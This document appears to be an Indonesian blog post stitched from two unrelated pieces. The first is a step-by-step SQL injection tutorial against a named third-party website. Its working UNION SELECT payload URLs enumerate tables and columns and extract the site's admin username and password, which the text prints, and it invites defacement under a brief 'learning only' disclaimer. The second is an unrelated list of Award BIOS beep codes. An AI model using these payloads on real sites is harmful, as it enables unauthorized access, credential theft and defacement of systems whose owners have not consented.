ko,o jao

A. PENDAHULUAN
Hacker menurut Eric Steven Raymond (ESR) dalam “How To Become A Hacker” yang mengacu pada Jargon File didefinisikan sebagai orang yang pandai dalam hal teknis, menyenangi pemecahan masalah, dan dapat melebihi/mengatasi batasan. Sebaliknya Cracker disebut dengan orang yang membobol sistem komputer atau telepon (phreaking). Ada pula yang menambahkan kategori Abu- abu atau Grey untuk orang orang yang melakukan atau mempelajari Cracking dengan tujuan agar mereka mengetahui bagaimana seorang Cracker membobol sebuah sistem komputer atau memecahkan proteksi dalam perangkat lunak, baik itu untuk memproteksi sistem miliknya, hanya sebagai studi, keinginan mencari tahu, atau yang lainnya. Banyak orang sekarang sudah mengistilahkan Hacker dengan seseorang yang jahat, suka merusak, dan lain - lain. Sebenarnya tidak, Hacker adalah pembangun sedangkan cracker adalah perusak. Seperti yang disebut oleh ESR dalam tulisannya yang sama:
“The basic difference is this: hackers build things, crackers break them”
Akan tetapi tetap saja hacker adalah kata yang lebih umum digunakan untuk mengistilahkan seseorang sebagai penjahat, pencuri atau pembobol sistem. Seiring dengan perkembangan pengetahuan kini keberadaan hacker telah bergeser dari zona underground menjadi Nampak dan dibutuhkan. Misalnya saja di negara-negara maju perusahaan besar yang mempunyai sistem computer yang besar sudah mulai menyewa hacker untuk mencari kelemahan sistem mereka.
Lalu apa hubungannya dengan SQL injection?
SQl injection adalah salah satu tenik yang digunakan oleh para hacker untuk membobol suatu system. SQL injection??hmm..apa itu…
Pengertian SQL injection
SQL Injection adalah sebuah hacking yang dilakukan dengan aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client
1. Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL.
2. Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form.
Teknik hacking menggunakan sql injection mulai heboh khususnya di masyarakat Indonesia semenjak dijebolnya situs KPU pada pemilihan umum oleh seseorang yang bernama Dani Firmansyah atau Xnuxer. Dengan teknik sql injection dia dapat masuk ke sistem sebagai web administrator tanpa susah payah scan port yang terbuka ataupun menggunakan tools hacking paling canggih yang ada di dunia. Konon kabarnya situ KPU merupakan sistem seharga 152 milyar dengan keamanan yang berlapis-lapis.
Statemen sql biasanya digunakan bersama dengan bahasa pemograman lain pada saat mengakses database, maka untuk mencocokan username dengan password untuk login maka digunakan statement sql

B. LANGKAH INSTALASI
Tidak ada tools khusus untuk hacking dengan teknik sql injection karena sql injection memanfaatkan kelemahan atau celah pada statemen sql pada sistem yang terkadang tidak diperhatikan oleh pembuat sistem. Akan tetapi dengan perkembangan ilmu pengetahuan yang sangat cepat, saat ini terdapat tools pendukung untuk melakukan teknik sql injection salah satunya menggunakan schemafuzz yang menggunakan bahasa phyton akan tetapi saya tidak menjelaskan bagaimana menggunakann tools ini karena belum menguasainya dan masih dalam tahap pembelajaran jika pembaca ada yang ingin mengetahui bagaimana tools ini bekerja maka Tanyalah pada mbah google dan kawan kawannya. Bisa juga mendownload toolsnya di http://www.crashblack.com.
Untuk teknik sql injection sebagai tahap awal, tentu saja mencari situs yang dapat dieksplore menggunakan teknik sql injection. Situs ini dapat dicari menggunakan search engine seperti yahoo atau google.

C.LANGKAH KERJA
Teknik sql injection juga bisa dilakukan dengan mengeksplore url yang ada agar bisa mengakses database website tersebut. Berikut ini akan saya jelaskan sql injection yang telah saya lakukan pada sebuah situs India
target : http://smvathwapanch.org
1. Pada website tersebut klik articles ,sehingga urlnya menjadi:
http://smvathwapanch.org/articles.php?id=3
2. pada artikel tersebut klik read more
3. Lalu pada urlnya tambahkan query ' dibelakang id=3 menjadi id=3'maka akan tampil error (bug yang menandakan bahwa situs ini bisa diserang dg sql inject)
Cannot query the database. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
4. Langkah selanjutnya adalah mencari tabel dengan cara menghapus query ' dan menggantinya dengan
+AND+1=2+UNION+SELECT+0-- dan seterusnya yaitu
+AND+1=2+UNION+SELECT+0,1--
+AND+1=2+UNION+SELECT+0,1,2,--
akan muncul
Cannot query the database.
The used SELECT statements have a different number of columns
teruskan langkah di atas hingga tidak menemukan error, ketika saya melakukan itu maka pada url di bawah ini tidak lagi muncul error
http://smvathwapanch.org/articledetail.php?id=3+AND+1=2+UNION+SELECT+0,1,2,3,4--
5. Lalu cek versi mysql yang digunakan dengan cara
http://smvathwapanch.org/articledetail.php?id=3+AND+1=2+UNION+SELECT+0,@@version,2,3,4--
akan terlihat
by:5.0.77 –log
artinya mysql yang digunakan adalah versi 5 berarti dapat mencari tabel secara manual.
6. Untuk mencari nama nama tabelnya yaitu
http://smvathwapanch.org/articledetail.php?id=3+AND+1=2+UNION+SELECT+0,group_concat(table_name),2,3,4+from+information_schema.tables+where+table_schema=database()--
maka akan terlihat
admin,article,committeemember,committeetype,contactus,countries,education,event,familymember,feedback,frontbnrmsg,heightmast,mastertable,member,newsofsmv,occupation
keterangan di atas adalah nama nama tabel yang ada pada mysqlnya
7. Untuk mencari username dan passwordnya maka dapat memanfaatkan tabel admin yaitu dengan cara merubah kata admin menjadi bahasi ascii, untuk itu bisa menggunakan website
http://www.piclist.com/techref/ascii.htm
lalu convert dan copy nilai HEX decimalnya maka diperoleh
61646D696E
8. Setelah itu untuk mencari kolomnya yaitu mengganti kata-kata table jadi column pada url
group_concat(table_name) menjadi group_concat(column_name)
where+table_schema menjadi where+table_name
=database()-- menjadi =0x(disini bahasa ascii admin yang sudah diconvert)-- yaitu menjadi =0x61646D696E--
Setelah itu pada halaman web akan terlihat
AdminId,AName,APassword,Allow
AdmiId artinya username
APassword artinya password
9. Untuk mencari username dan passwordnya pada group_concat(column_name) diganti menjadi group_concat(AdminId,0x2b,APassword) lalu hapus information_schema.columns+where+table_name=0x61646D696E—
maka urlnya akan menjadi :
http://smvathwapanch.org/articledetail.php?id=3+AND+1=2+UNION+SELECT+0,group_concat(AdminId,0x2b,APassword),2,3,4+from+admin--
maka akan terlihat di halaman webnya
1+q1w2e3r4
10. Yupz passwordnya sudah didapatkan yaitu q1w2e3r4
11. Lalu untuk mencari usernamenya dengan mengganti AdminId menjadi jadi AName, maka pada tampilan web menjadi
admin+q1w2e3r4
12. Siiiplah didapatkan username : admin dan password: q1w2e3r4
13. Setelah itu selamat menikmati karena username dan password sang admin sudah ditemukan sehingga kita dapat berlaku sebagai seorang admin dan melakukan deface(mengganti tampilan) sesuka hati. Tetapi ingat ini adalah pembelajaran yang tidak bermaksud untuk merusak dan akan lebih baik jika memberi tahu sang admin untuk memperbaiki sistemnya agar tidak lagi bisa dimasuki hacker jahat.

D. PENUTUP/KESIMPULAN
Dalam mengamankan suatu sistem dari pencuri pembobol ataupun pengganggu lainnya dapat dilakukan dengan berusaha memiliki pola pikir seorang penjahat sistem sehingga web admisintrator atau petugas pengamanan lainnya dapat tetap waspada dalam setiap keadaan.Teknik SQL injection sudah tidak lagi menjadi favorit para hacker karena sudah banyak berkembang pula tools yang dapat mengantisipasi serangan sql injection yang digunakan para administrator dalam mengamankan sistemnya. Serangan akan tetap ada dimanapun dan kapanpun jadi tetaplah menjadi WASPADA dan WASPADA. n_n (neng_nie)

Bagi kalian yang sering sekali bergulat dengan perangkat bernama komputer, tentunya tidak asing lagi ditelinga kita dengan suara ‘beep’ yang kerap kali kita dengar keluar dari dalam casing komputer kita.

Umumnya suara ‘beep’ akan keluar tiap kali komputer melakukan proses booting atau proses menyala sebelum akhirnya komputer berhasil masuk kedalam sistem operasi yang bertengger didalam komupter kita.

Namun tahukah anda bahwa suara ‘beep’ tersebut diciptakan bukan tanpa alasan. coba anda perhatikan, berapa banyak jenis suara beep yang pernah anda dengar keluar dari dalam komputer anda?

Bagi seorang troubleshooter (sebutan untuk seorang yang menganalisa masalah pada komputer) ‘beep’ pada komputer merupakan alat bantu yang sangat bermanfaat dalam menganalisa sebuah masalah. Jenis analisa ini dinamakan sebagai analisa suara, biasanya akan sangat membantu dalam mengetahui dengan pasti masalah2 seputar kegagalan proses booting pada komputer.

Ada beberapa jenis ‘beep’ pada komputer yang sering sekali kita dengar, diantaranya adalah :

1. Bunyi ‘beep’ pendek 1 kali, mengindikasikan bahwa komputer anda telah berhasil melakukan dan menghidupkan semua komponen yang dibutuhkan untuk proses boot-up komputer. Jika bunyi ini yang terdengar tetapi PC anda tidak juga menyala, coba anda cek kabel VGA anda, apakah sudah terpasang dengan benar atau tidak, atau coba cek monitor anda, apakah monitor anda sudah berfungsi dengan baik atau tidak. Sebaliknya, jika komputer berhasil menyala tetapi tidak ada suara ‘beep’ sebelumnya…coba anda cek internal speaker pada motherboard anda, atau cek motherboard atau bila perlu silahkan cek setingan pada bios anda.
2. Bunyi ‘beep’ pendek 2 kali, artinya ada masalah pada konfigurasi atau seting pada CMOS.
3. Bunyi ‘beep’ panjang 1 kali dan pendek 1 kali, artinya ada masalah pada perangkat keras Motherboard atau Memory anda, coba cek ulang apakah kedua perangkat tersebut masih bisa berfungsi/terpasang dengan baik atau tidak.
4. Bunyi beep panjang 1 kali dan pendek 2 kali, artinya ada masalah pada monitor atau VGA Card.
5. Bunyi ‘beep’ panjang 1 kali dan pendek 3 kali, artinya ada masalah pada Keyboard, coba cek keyboard anda, atau coba kencangkan sambungan kabel dari keyboard yang biasanya terpasang ke port serial, ps2, ataupun usb.
6. Bunyi ‘beep’ panjang 1 kali dan pendek 9 kali, artinya ada masalah pada ROM BIOS.
7. Bunyi ‘beep’ panjang terus-menerus, artinya ada masalah di DRAM.
8. Bunyi ‘beep’ pendek terus-menerus, artinya ada masalah penerimaan tegangan (power).
9. Pada beberapa merk Motherboard akan mengeluarkan bunyi ‘beep’ beberapa kali apabila temperatur processornya terlalu tinggi (panas).

Catatan : kode bunyi beep diatas berlaku pada AWARD BIOS, untuk jenis BIOS yang lain kemungkinan memiliki kode bunyi beep yang berbeda.